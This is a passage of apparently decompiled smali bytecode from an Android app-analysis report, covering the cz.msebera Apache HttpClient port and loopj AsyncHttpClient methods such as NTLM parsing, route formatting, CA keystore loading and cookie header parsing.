        22iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->messageContents:[B
        23array-length p1, p1
        25invoke-static {}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1000()[B
        26move-result-object v1
        27array-length v1, v1
        28if-lt p1, v1, :cond_76
        29goto_20:
        30invoke-static {}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1000()[B
        31move-result-object p1
        32array-length p1, p1
        33if-ge v0, p1, :cond_3e
        35iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->messageContents:[B
        36aget-byte p1, p1, v0
        38invoke-static {}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1000()[B
        39move-result-object v1
        40aget-byte v1, v1, v0
        41if-ne p1, v1, :cond_36
        42add-int/lit8 v0, v0, 0x1
        43goto/16 :goto_20
        44cond_36: new-instance p1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        46const-string p2, "NTLM message expected - instead got unrecognized bytes"
        48invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;)V
        49throw p1
        50cond_3e:
        51invoke-static {}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$1000()[B
        52move-result-object p1
        53array-length p1, p1
        55invoke-virtual {p0, p1}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->readULong(I)I
        56move-result p1
        57if-ne p1, p2, :cond_4f
        59iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->messageContents:[B
        60array-length p1, p1
        61iput p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$NTLMMessage;->currentOutputPosition:I
        62return-void
        63cond_4f: new-instance v0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        64new-instance v1, Ljava/lang/StringBuilder;
        66invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        68const-string v2, "NTLM type "
        70invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        72invoke-static {p2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        73move-result-object p2
        75invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77const-string p2, " message expected - instead got type "
        79invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        81invoke-static {p1}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
        82move-result-object p1
        84invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        86invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        87move-result-object p1
        89invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;)V
        90throw v0
        91cond_76: new-instance p1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        93const-string p2, "NTLM message decoding error - packet too short"
        95invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;)V
        96throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • ->
        • }->
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getHopCount()I
        3move-result v1
        4mul-int/lit8 v1, v1, 0x1e
        5add-int/lit8 v1, v1, 0x32
        7invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
        9iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->localAddress:Ljava/net/InetAddress;
        10if-eqz v1, :cond_1b
        12iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->localAddress:Ljava/net/InetAddress;
        14invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        16const-string v1, "->"
        18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        19cond_1b: const/16 v1, 0x7b
        21invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        23iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->tunnelled:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;
        25sget-object v2, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;->TUNNELLED:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$TunnelType;
        26if-ne v1, v2, :cond_2b
        27const/16 v1, 0x74
        29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        30cond_2b:
        31iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->layered:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;
        33sget-object v2, Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;->LAYERED:Lcz/msebera/android/httpclient/conn/routing/RouteInfo$LayerType;
        34if-ne v1, v2, :cond_36
        35const/16 v1, 0x6c
        37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        38cond_36: iget-boolean v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->secure:Z
        39if-eqz v1, :cond_3f
        40const/16 v1, 0x73
        42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        43cond_3f:
        44const-string v1, "}->"
        46invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->proxyChain:Ljava/util/List;
        49if-eqz v1, :cond_63
        51iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->proxyChain:Ljava/util/List;
        53invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        54move-result-object v1
        55goto_4e:
        56invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        57move-result v2
        58if-eqz v2, :cond_63
        60invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        61move-result-object v2
        62check-cast v2, Lcz/msebera/android/httpclient/HttpHost;
        64invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        66const-string v2, "->"
        68invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        69goto/16 :goto_4e
        70cond_63:
        71iget-object v1, p0, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->targetHost:Lcz/msebera/android/httpclient/HttpHost;
        73invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        75invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        76move-result-object v0
        77return-object v0
        APIs
        • java.util.concurrent.ConcurrentHashMap.<init>
        • java.lang.String.toUpperCase
        • java.util.Map.put
        • java.lang.String.toUpperCase
        • java.util.Map.put
        • java.lang.String.toUpperCase
        • java.util.Map.put
        • java.lang.String.toUpperCase
        • java.util.Map.put
        • java.lang.String.toUpperCase
        • java.util.Map.put
        Strings
        • Basic
        • Digest
        • NTLM
        • negotiate
        • SPNEGO
        • Kerberos
        Position Instruction Meta Information
        0new-instance v0, Ljava/util/concurrent/ConcurrentHashMap;
        2invoke-direct {v0}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        3sput-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        5sget-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        7const-string v1, "Basic"
        9sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        11invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        12move-result-object v1
        14const-string v2, "Basic"
        16invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        18sget-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        20const-string v1, "Digest"
        22sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        24invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        25move-result-object v1
        27const-string v2, "Digest"
        29invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        31sget-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        33const-string v1, "NTLM"
        35sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        37invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        38move-result-object v1
        40const-string v2, "NTLM"
        42invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        44sget-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        46const-string v1, "negotiate"
        48sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        50invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        51move-result-object v1
        53const-string v2, "SPNEGO"
        55invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        57sget-object v0, Lcz/msebera/android/httpclient/impl/client/SystemDefaultCredentialsProvider;->SCHEME_MAP:Ljava/util/Map;
        59const-string v1, "Kerberos"
        61sget-object v2, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        63invoke-virtual {v1, v2}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        64move-result-object v1
        66const-string v2, "Kerberos"
        68invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        69return-void
        APIs
        • java.security.cert.CertificateFactory.getInstance
        • java.io.BufferedInputStream.<init>
        • java.security.cert.CertificateFactory.generateCertificate
        • java.io.InputStream.close
        • java.io.IOException.printStackTrace
        • java.security.cert.CertificateException.printStackTrace
        • java.io.InputStream.close
        • java.io.IOException.printStackTrace
        • java.security.KeyStore.getDefaultType
        • java.security.KeyStore.getInstance
        • java.security.KeyStore.load
        • java.security.KeyStore.setCertificateEntry
        • java.lang.Exception.printStackTrace
        • java.io.InputStream.close
        • java.io.IOException.printStackTrace
        Strings
        • X.509
        • ca
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1try_start_1:
        2const-string v1, "X.509"
        4invoke-static {v1}, Ljava/security/cert/CertificateFactory;->getInstance(Ljava/lang/String;)Ljava/security/cert/CertificateFactory;
        5move-result-object v1
        6new-instance v2, Ljava/io/BufferedInputStream;
        8invoke-direct {v2, p0}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
        9try_start_c:
        10invoke-virtual {v1, v2}, Ljava/security/cert/CertificateFactory;->generateCertificate(Ljava/io/InputStream;)Ljava/security/cert/Certificate;
        11move-result-object p0
        12try_end_10:
        13invoke-virtual {v2}, Ljava/io/InputStream;->close()V
        14try_end_13: goto/16 :goto_2d
        15catch_14: move-exception v1
        17invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
        18goto/16 :goto_2d
        19catch_19: move-exception p0
        20goto/16 :goto_1f
        21catchall_1b: move-exception p0
        22goto/16 :goto_48
        23catch_1d: move-exception p0
        24move-object v2, v0
        25try_start_1f:
        26invoke-virtual {p0}, Ljava/security/cert/CertificateException;->printStackTrace()V
        27try_end_22: if-eqz v2, :cond_2c
        28try_start_24:
        29invoke-virtual {v2}, Ljava/io/InputStream;->close()V
        30try_end_27: goto/16 :goto_2c
        31catch_28: move-exception p0
        33invoke-virtual {p0}, Ljava/io/IOException;->printStackTrace()V
        34goto_2c: move-object p0, v0
        35goto_2d:
        36invoke-static {}, Ljava/security/KeyStore;->getDefaultType()Ljava/lang/String;
        37move-result-object v1
        38try_start_31:
        39invoke-static {v1}, Ljava/security/KeyStore;->getInstance(Ljava/lang/String;)Ljava/security/KeyStore;
        40move-result-object v1
        41try_end_35:
        42invoke-virtual {v1, v0, v0}, Ljava/security/KeyStore;->load(Ljava/io/InputStream;[C)V
        44const-string v0, "ca"
        46invoke-virtual {v1, v0, p0}, Ljava/security/KeyStore;->setCertificateEntry(Ljava/lang/String;Ljava/security/cert/Certificate;)V
        47try_end_3d: goto/16 :goto_45
        48catch_3e: move-exception p0
        49goto/16 :goto_42
        50catch_40: move-exception p0
        51move-object v1, v0
        52goto_42:
        53invoke-virtual {p0}, Ljava/lang/Exception;->printStackTrace()V
        54goto_45: return-object v1
        55catchall_46: move-exception p0
        56move-object v0, v2
        57goto_48: if-eqz v0, :cond_52
        58try_start_4a:
        59invoke-virtual {v0}, Ljava/io/InputStream;->close()V
        60try_end_4d: goto/16 :goto_52
        61catch_4e: move-exception v0
        63invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
        64cond_52: throw p0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.String.startsWith
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.<init>
        Strings
        • ://
        • /
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/net/URISyntaxException;
        3}
        4.end annotation
        5.annotation runtime Ljava/lang/Deprecated;
        6.end annotation
        7new-instance v0, Ljava/lang/StringBuilder;
        9invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        10if-eqz p1, :cond_1e
        11if-eqz p0, :cond_11
        13invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15const-string p0, "://"
        17invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18cond_11:
        19invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20if-lez p2, :cond_1e
        21const/16 p0, 0x3a
        23invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        25invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        26cond_1e: if-eqz p3, :cond_28
        28const-string p0, "/"
        30invoke-virtual {p3, p0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        31move-result p0
        32if-nez p0, :cond_2d
        33cond_28: const/16 p0, 0x2f
        35invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        36cond_2d: if-eqz p3, :cond_32
        38invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        39cond_32: if-eqz p4, :cond_3c
        40const/16 p0, 0x3f
        42invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        44invoke-virtual {v0, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45cond_3c: if-eqz p5, :cond_46
        46const/16 p0, 0x23
        48invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
        50invoke-virtual {v0, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        51cond_46: new-instance p0, Ljava/net/URI;
        53invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        54move-result-object p1
        56invoke-direct {p0, p1}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        57return-object p0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        Strings
        • pos:
        • > upperBound:
        • < lowerBound:
        Position Instruction Meta Information
        0iget v0, p0, Lcz/msebera/android/httpclient/message/ParserCursor;->lowerBound:I
        1if-lt p1, v0, :cond_2c
        2iget v0, p0, Lcz/msebera/android/httpclient/message/ParserCursor;->upperBound:I
        3if-gt p1, v0, :cond_b
        4iput p1, p0, Lcz/msebera/android/httpclient/message/ParserCursor;->pos:I
        5return-void
        6cond_b: new-instance v0, Ljava/lang/IndexOutOfBoundsException;
        7new-instance v1, Ljava/lang/StringBuilder;
        9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        11const-string v2, "pos: "
        13invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        15invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        17const-string p1, " > upperBound: "
        19invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        20iget p1, p0, Lcz/msebera/android/httpclient/message/ParserCursor;->upperBound:I
        22invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        24invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        25move-result-object p1
        27invoke-direct {v0, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        28throw v0
        29cond_2c: new-instance v0, Ljava/lang/IndexOutOfBoundsException;
        30new-instance v1, Ljava/lang/StringBuilder;
        32invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        34const-string v2, "pos: "
        36invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        40const-string p1, " < lowerBound: "
        42invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43iget p1, p0, Lcz/msebera/android/httpclient/message/ParserCursor;->lowerBound:I
        45invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        47invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        48move-result-object p1
        50invoke-direct {v0, p1}, Ljava/lang/IndexOutOfBoundsException;-><init>(Ljava/lang/String;)V
        51throw v0
        APIs
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • cz.msebera.android.httpclient.client.HttpResponseException.<init>
        • java.lang.Thread.currentThread
        • java.lang.Thread.isInterrupted
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Content-Range
        • RangeFileAsyncHttpRH
        • Content-Range:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        7move-result-object v0
        9invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
        10move-result v0
        11if-nez v0, :cond_a1
        13invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        14move-result-object v0
        16invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        17move-result v1
        18const/16 v2, 0x1a0
        19const/4 v3, 0x0
        20if-ne v1, v2, :cond_2d
        22invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        23move-result-object v1
        25invoke-virtual {v1}, Ljava/lang/Thread;->isInterrupted()Z
        26move-result v1
        27if-nez v1, :cond_a1
        29invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        30move-result v0
        32invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        33move-result-object p1
        35invoke-virtual {p0, v0, p1, v3}, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->sendSuccessMessage(I[Lcz/msebera/android/httpclient/Header;[B)V
        36goto/16 :goto_a1
        37cond_2d:
        38invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        39move-result v1
        40const/16 v2, 0x12c
        41if-lt v1, v2, :cond_58
        43invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        44move-result-object v1
        46invoke-virtual {v1}, Ljava/lang/Thread;->isInterrupted()Z
        47move-result v1
        48if-nez v1, :cond_a1
        50invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        51move-result v1
        53invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        54move-result-object p1
        55new-instance v2, Lcz/msebera/android/httpclient/client/HttpResponseException;
        57invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        58move-result v4
        60invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getReasonPhrase()Ljava/lang/String;
        61move-result-object v0
        63invoke-direct {v2, v4, v0}, Lcz/msebera/android/httpclient/client/HttpResponseException;-><init>(ILjava/lang/String;)V
        65invoke-virtual {p0, v1, p1, v3, v2}, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->sendFailureMessage(I[Lcz/msebera/android/httpclient/Header;[BLjava/lang/Throwable;)V
        66goto/16 :goto_a1
        67cond_58:
        68invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        69move-result-object v1
        71invoke-virtual {v1}, Ljava/lang/Thread;->isInterrupted()Z
        72move-result v1
        73if-nez v1, :cond_a1
        75const-string v1, "Content-Range"
        77invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        78move-result-object v1
        79if-nez v1, :cond_72
        80const/4 v1, 0x0
        81iput-boolean v1, p0, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->append:Z
        82const-wide/16 v1, 0x0
        83iput-wide v1, p0, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->current:J
        84goto/16 :goto_8e
        85cond_72:
        86sget-object v2, Lcom/loopj/android/http/AsyncHttpClient;->log:Lcom/loopj/android/http/LogInterface;
        88const-string v3, "RangeFileAsyncHttpRH"
        89new-instance v4, Ljava/lang/StringBuilder;
        91invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        93const-string v5, "Content-Range: "
        95invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        97invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        98move-result-object v1
        100invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        102invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        103move-result-object v1
        105invoke-interface {v2, v3, v1}, Lcom/loopj/android/http/LogInterface;->v(Ljava/lang/String;Ljava/lang/String;)V
        106goto_8e:
        107invoke-interface {v0}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        108move-result v0
        110invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        111move-result-object v1
        113invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        114move-result-object p1
        116invoke-virtual {p0, p1}, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->getResponseData(Lcz/msebera/android/httpclient/HttpEntity;)[B
        117move-result-object p1
        119invoke-virtual {p0, v0, v1, p1}, Lcom/loopj/android/http/RangeFileAsyncHttpResponseHandler;->sendSuccessMessage(I[Lcz/msebera/android/httpclient/Header;[B)V
        120goto_a1: return-void
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.String.length
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Header
        • Cookie origin
        • Set-Cookie
        • Header value is null
        • Unrecognized cookie header \'
        • \'
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Lcz/msebera/android/httpclient/Header;",
        4"Lcz/msebera/android/httpclient/cookie/CookieOrigin;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/cookie/Cookie;",
        8">;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        14}
        15.end annotation
        17const-string v0, "Header"
        19invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        21const-string v0, "Cookie origin"
        23invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        26move-result-object v0
        28const-string v1, "Set-Cookie"
        30invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        31move-result v0
        32if-eqz v0, :cond_62
        34sget-object v0, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;->DEFAULT:Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;
        35instance-of v1, p1, Lcz/msebera/android/httpclient/FormattedHeader;
        36const/4 v2, 0x0
        37if-eqz v1, :cond_31
        38check-cast p1, Lcz/msebera/android/httpclient/FormattedHeader;
        40invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getBuffer()Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        41move-result-object v1
        42new-instance v3, Lcz/msebera/android/httpclient/message/ParserCursor;
        44invoke-interface {p1}, Lcz/msebera/android/httpclient/FormattedHeader;->getValuePos()I
        45move-result p1
        47invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        48move-result v4
        50invoke-direct {v3, p1, v4}, Lcz/msebera/android/httpclient/message/ParserCursor;-><init>(II)V
        51goto/16 :goto_4c
        52cond_31:
        53invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        54move-result-object p1
        55if-eqz p1, :cond_5a
        56new-instance v1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        58invoke-virtual {p1}, Ljava/lang/String;->length()I
        59move-result v3
        61invoke-direct {v1, v3}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        63invoke-virtual {v1, p1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        64new-instance v3, Lcz/msebera/android/httpclient/message/ParserCursor;
        66invoke-virtual {v1}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->length()I
        67move-result p1
        69invoke-direct {v3, v2, p1}, Lcz/msebera/android/httpclient/message/ParserCursor;-><init>(II)V
        70goto_4c: const/4 p1, 0x1
        71new-array p1, p1, [Lcz/msebera/android/httpclient/HeaderElement;
        73invoke-virtual {v0, v1, v3}, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftHeaderParser;->parseHeader(Lcz/msebera/android/httpclient/util/CharArrayBuffer;Lcz/msebera/android/httpclient/message/ParserCursor;)Lcz/msebera/android/httpclient/HeaderElement;
        74move-result-object v0
        75aput-object v0, p1, v2
        77invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/cookie/NetscapeDraftSpec;->parse([Lcz/msebera/android/httpclient/HeaderElement;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/util/List;
        78move-result-object p1
        79return-object p1
        80cond_5a: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        82const-string p2, "Header value is null"
        84invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        85throw p1
